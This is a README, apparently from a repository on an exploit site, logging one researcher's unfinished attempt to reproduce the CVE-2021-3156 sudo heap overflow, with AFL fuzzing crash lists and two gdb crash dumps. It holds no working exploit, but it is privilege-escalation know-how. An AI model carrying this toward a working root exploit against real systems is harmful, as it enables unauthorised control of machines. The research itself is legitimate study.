## https://sploitus.com/exploit?id=4C6E5FA8-A6FA-5A3D-9277-6417A1361407
# CVE-2021-3156-Baron-Samedit
This repo contains my work on clumsily implementing a public 1day exploit for the sudo bug. Wish me luck.
If you would like to help please feel free.
Compile the provided src/sudo
`sudoedit` has been modified to use AFL harness to get input from STDIN
AFL Fuzzy loop crash test cases discovered so far, check these out:
```
-rw------- 1 root root 309 Jan 28 03:31 id:000000,sig:11,src:000024,time:335,op:havoc,rep:2
-rw------- 1 root root 309 Jan 28 03:31 id:000001,sig:06,src:000024,time:1419,op:havoc,rep:4
-rw------- 1 root root 278 Jan 28 03:31 id:000002,sig:06,src:000024,time:2545,op:havoc,rep:8
-rw------- 1 root root 300 Jan 28 03:31 id:000003,sig:11,src:000024,time:5812,op:havoc,rep:4
-rw------- 1 root root 309 Jan 28 03:31 id:000004,sig:11,src:000024,time:7063,op:havoc,rep:8
-rw------- 1 root root 296 Jan 28 03:31 id:000005,sig:11,src:000024,time:8231,op:havoc,rep:8
-rw------- 1 root root 309 Jan 28 03:31 id:000006,sig:11,src:000024,time:8395,op:havoc,rep:2
-rw------- 1 root root 310 Jan 28 03:31 id:000007,sig:11,src:000024,time:9048,op:havoc,rep:8
-rw------- 1 root root 277 Jan 28 03:31 id:000008,sig:11,src:000024,time:9305,op:havoc,rep:16
-rw------- 1 root root 281 Jan 28 03:31 id:000009,sig:06,src:000024,time:11059,op:havoc,rep:2
-rw------- 1 root root 232 Jan 28 03:31 id:000010,sig:11,src:000024,time:13883,op:havoc,rep:4
-rw------- 1 root root 304 Jan 28 03:31 id:000011,sig:11,src:000024,time:17245,op:havoc,rep:8
-rw------- 1 root root 265 Jan 28 03:31 id:000012,sig:06,src:000024,time:18928,op:havoc,rep:8
-rw------- 1 root root 309 Jan 28 03:31 id:000013,sig:11,src:000024,time:21131,op:havoc,rep:8
-rw------- 1 root root 309 Jan 28 03:31 id:000014,sig:09,src:000024,time:29628,op:havoc,rep:4
-rw------- 1 root root 306 Jan 28 03:32 id:000015,sig:11,src:000024,time:60593,op:havoc,rep:8
-rw------- 1 root root 284 Jan 28 03:32 id:000016,sig:06,src:000024,time:65998,op:havoc,rep:16
-rw------- 1 root root 91053 Jan 28 03:39 id:000017,sig:09,src:000026+000018,time:518485,op:splice,rep:8
-rw------- 1 root root 318 Jan 28 03:39 id:000018,sig:11,src:000026+000045,time:520493,op:splice,rep:2
-rw------- 1 root root 65399 Jan 28 03:42 id:000019,sig:06,src:000012,time:678458,op:havoc,rep:16
-rw------- 1 root root 65441 Jan 28 04:33 id:000020,sig:06,src:000009,time:3762442,op:havoc,rep:16
-rw------- 1 root root 303 Jan 28 04:44 id:000021,sig:11,src:000025+000034,time:4377085,op:splice,rep:4
-rw------- 1 root root 91045 Jan 28 04:46 id:000022,sig:06,src:000019+000058,time:4538775,op:splice,rep:16
-rw------- 1 root root 296 Jan 28 05:14 id:000023,sig:06,src:000051,time:6173954,op:havoc,rep:16
-rw------- 1 root root 279 Jan 28 06:10 id:000024,sig:11,src:000023+000037,time:9549571,op:splice,rep:4
```
sig:11 means Segmentation Fault which is what we want. Signal 06 is SIGABRT which they gave us to start with.
load up the compiled sudoedit (make sure it has effective uid 0, run gdb as root)
`# gdb /usr/local/bin/sudoedit`
Load crash case from src/afl3/out/default/crashes:
(note: this is the first sigsegv i found, its not a very good one, this id:000008 can be found in crashes_old)
```
gefβ€ r mov rax, QWORD PTR [r13+0x8]
$r8 : 0x7
$r9 : 0x1
$r10 : 0xfffffffffffff1ed
$r11 : 0x5
$r12 : 0x000055886c71cca0 β 0x4141414141414180
$r13 : 0x414196c9adb30de0
$r14 : 0x00007fb17cccf578 β 0x000055886c71ccb0 β "AAAAAAAAAAAAAAAAAAAAAAAAARAAFAAAAAAAAAAAAAAAAAAAAA[...]"
$r15 : 0x00007fffdfe91290 β 0x00007fb17cc9bb5f β 0x636d656d5f5f0043 ("C"?)
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0x00007fffdfe911d0β+0x0000: 0x00007fb17cea12d0 β " test eax, eax
0x00007fffdfe91200β+0x0030: 0x00007fffdfe91290 β 0x00007fb17cc9bb5f β 0x636d656d5f5f0043 ("C"?)
0x00007fffdfe91208β+0x0038: 0xdfb8629d88483900
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0x7fb17cb96a69 je 0x7fb17cb97018
0x7fb17cb96a6f test BYTE PTR [rbp+0x4], 0x2
0x7fb17cb96a73 je 0x7fb17cb97028
β 0x7fb17cb96a79 mov rax, QWORD PTR [r13+0x8]
0x7fb17cb96a7d test al, 0x1
0x7fb17cb96a7f je 0x7fb17cb97050
0x7fb17cb96a85 mov r14, rax
0x7fb17cb96a88 and r14, 0xfffffffffffffff8
0x7fb17cb96a8c cmp rax, 0x10
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "sudoedit", stopped 0x7fb17cb96a79 in _int_free (), reason: SIGSEGV
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0x7fb17cb96a79 β _int_free(av=0x7fb17ccceb80 , p=0x55886c71cca0, have_lock=)
[#1] 0x7fb17cb41e5c β setname(name=0x7fb17cc9bb5f "C", category=0xb)
[#2] 0x7fb17cb41e5c β __GI_setlocale(category=0xb, locale=)
[#3] 0x7fb17c70cc59 β sudoers_setlocale(locale_type=0x1, prev_locale=)
[#4] 0x7fb17c722336 β sudoers_policy_main(argc=, argv=, pwflag=0x0, env_add=, verbose=0x0, closure=0x7fffdfe93488)
[#5] 0x7fb17c71d65e β sudoers_policy_check(argc=0x7, argv=0x55886c709570, env_add=0x0, command_infop=0x7fffdfe93520, argv_out=0x7fffdfe93558, user_env_out=0x7fffdfe93540, errstr=0x7fffdfe93620)
[#6] 0x55886b1185db β policy_check(argc=0x7, argv=0x55886c709570, env_add=0x0, command_info=0x7fffdfe93520, argv_out=0x7fffdfe93558, user_env_out=0x7fffdfe93540)
[#7] 0x55886b1185db β main(argc=, argv=, envp=0x7fffdfe94758)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€
gefβ€ der $sp 50
0x00007ffcc9026680β+0x0000: 0x00007fca4b2b12d0 β " test eax, eax
0x00007ffcc90266b0β+0x0030: 0x00007ffcc9026740 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90266b8β+0x0038: 0x79e92f350d458c00
0x00007ffcc90266c0β+0x0040: 0x79e92f350d458c00
0x00007ffcc90266c8β+0x0048: 0x00007ffcc90267b0 β 0x00007fca4b0db6a0 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90266d0β+0x0050: 0x000000000000000b
0x00007ffcc90266d8β+0x0058: 0x00007fca4b0dd8e0 β 0x00007fca4af54170 β mov rdx, QWORD PTR [rip+0x18b329] # 0x7fca4b0df4a0
0x00007ffcc90266e0β+0x0060: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90266e8β+0x0068: 0x00007fca4b0df578 β 0x00005589bfc3ccb0 β "AAAAAAAAAAAAAAAAAAAAAAAAARAAFAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffcc90266f0β+0x0070: 0x00007ffcc9026740 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90266f8β+0x0078: 0x00007fca4af51e5c β mov rdx, QWORD PTR [rsp+0x8]
0x00007ffcc9026700β+0x0080: 0x00007fca4b2b124b β "-> %s @ %s:%d"
0x00007ffcc9026708β+0x0088: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026710β+0x0090: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026718β+0x0098: 0x00007fca4b2a4e8e β mov rax, QWORD PTR fs:0x28
0x00007ffcc9026720β+0x00a0: 0x0000000000000000
0x00007ffcc9026728β+0x00a8: 0x00007fca4ab7b967 β "sudoers_setlocale"
0x00007ffcc9026730β+0x00b0: 0x0000000000000000
0x00007ffcc9026738β+0x00b8: 0x0000000000000000
0x00007ffcc9026740β+0x00c0: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?) β $r15
0x00007ffcc9026748β+0x00c8: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026750β+0x00d0: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026758β+0x00d8: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026760β+0x00e0: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026768β+0x00e8: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026770β+0x00f0: 0x00007fca4b2b0830 β 0x6c61660065757274 ("true"?)
0x00007ffcc9026778β+0x00f8: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026780β+0x0100: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026788β+0x0108: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026790β+0x0110: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026798β+0x0118: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267a0β+0x0120: 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267a8β+0x0128: 0x00000000000002fd
0x00007ffcc90267b0β+0x0130: 0x00007fca4b0db6a0 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267b8β+0x0138: 0x00007fca4b0dbbe0 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267c0β+0x0140: 0x00007fca4b0dbc60 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267c8β+0x0148: 0x00007fca4b0dc4e0 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267d0β+0x0150: 0x00007fca4b0dba20 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267d8β+0x0158: 0x00007fca4b0db9a0 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267e0β+0x0160: 0x00007ffcc9026720 β 0x0000000000000000
0x00007ffcc90267e8β+0x0168: 0x00007fca4b0dc1a0 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267f0β+0x0170: 0x00007fca4b0dc200 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc90267f8β+0x0178: 0x00007fca4b0dc280 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026800β+0x0180: 0x00007fca4b0dc340 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
0x00007ffcc9026808β+0x0188: 0x00007fca4b0dc3c0 β 0x00007fca4b0abb5f β 0x636d656d5f5f0043 ("C"?)
gefβ€
```
happy hacking
NEW CRASH UWU CHECK THIS BAD BOY OUT:
```
gefβ€ r %s @ %s:%d"
$r9 : 0x00007fffb7527d30 β 0x0000003000000028 ("("?)
$r10 : 0x00007ffaa31fb45d β "__vdso_time"
$r11 : 0x00007fffb759ca30 β 0x48ffffb649058d48
$r12 : 0x000055e3c33bf938 β 0x000055e3c33c73a0 β 0x000055e3c33c7600 β 0x000055e3c33cd070 β 0x0000000000000000
$r13 : 0x000055e3c33cd070 β 0x0000000000000000
$r14 : 0x0
$r15 : 0x000055e3c33c1dd8 β 0x000055e3c33c1e08 β 0x72007800746f6f72 ("root"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0x00007fffb7527dc0β+0x0000: 0x000055e3c33c7600 β 0x000055e3c33cd070 β 0x0000000000000000 β $rsp
0x00007fffb7527dc8β+0x0008: 0x00007ffaa2cf0970 β 0x0000000000000000
0x00007fffb7527dd0β+0x0010: 0x0000000060137cb7
0x00007fffb7527dd8β+0x0018: 0x000055e3c33cd070 β 0x0000000000000000
0x00007fffb7527de0β+0x0020: 0x00007ffaa2cf482c β 0x000006fd000006fc
0x00007fffb7527de8β+0x0028: 0x000055e3c33c1dd8 β 0x000055e3c33c1e08 β 0x72007800746f6f72 ("root"?)
0x00007fffb7527df0β+0x0030: 0x00007ffaa2cf4848 β 0x0000070400000703
0x00007fffb7527df8β+0x0038: 0x00007ffaa2c754fc β 0x28246c894c01f883
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ
0x7ffaa2c95fa1 call 0x7ffaa2c5a2a0
0x7ffaa2c95fa6 mov rax, QWORD PTR [rbx+0x8]
0x7ffaa2c95faa mov rax, QWORD PTR [rax+0x8]
β 0x7ffaa2c95fae mov rbx, QWORD PTR [rax]
0x7ffaa2c95fb1 test rbx, rbx
0x7ffaa2c95fb4 je 0x7ffaa2c95fed
0x7ffaa2c95fb6 lea r13, [rip+0x60bb7] # 0x7ffaa2cf6b74
0x7ffaa2c95fbd nop DWORD PTR [rax]
0x7ffaa2c95fc0 mov rdi, r12
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ source:./match.c+119 ββββ
114 userlist_matches(struct sudoers_parse_tree *parse_tree, const struct passwd *pw,
115 const struct member_list *list)
116 {
117 struct member *m;
118 int matched = UNSPEC;
β 119 debug_decl(userlist_matches, SUDOERS_DEBUG_MATCH);
120
121 TAILQ_FOREACH_REVERSE(m, list, member_list, entries) {
122 if ((matched = user_matches(parse_tree, pw, m)) != UNSPEC)
123 break;
124 }
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "sudoedit", stopped 0x7ffaa2c95fae in userlist_matches (), reason: SIGSEGV
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0x7ffaa2c95fae β userlist_matches(parse_tree=0x55e3c33bf938, pw=0x55e3c33c1dd8, list=0x55e3c33cd080)
[#1] 0x7ffaa2c754fc β sudoers_lookup_check(nss=0x7ffaa2cf0970 , pw=0x55e3c33c1dd8, validated=, info=0x7fffb7527e60, matching_cs=, defs=, now=0x60137cb7)
[#2] 0x7ffaa2c754fc β sudoers_lookup(snl=, pw=, cmnd_status=0x7ffaa2cf0bb8 , pwflag=)
[#3] 0x7ffaa2c82354 β sudoers_policy_main(argc=, argv=, pwflag=0x0, env_add=, verbose=0x0, closure=0x7fffb7529fe8)
[#4] 0x7ffaa2c7d65e β sudoers_policy_check(argc=0x7, argv=0x55e3c33bc570, env_add=0x0, command_infop=0x7fffb752a080, argv_out=0x7fffb752a0b8, user_env_out=0x7fffb752a0a0, errstr=0x7fffb752a180)
[#5] 0x55e3c0d245db β policy_check(argc=0x7, argv=0x55e3c33bc570, env_add=0x0, command_info=0x7fffb752a080, argv_out=0x7fffb752a0b8, user_env_out=0x7fffb752a0a0)
[#6] 0x55e3c0d245db β main(argc=, argv=, envp=0x7fffb752b2b8)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```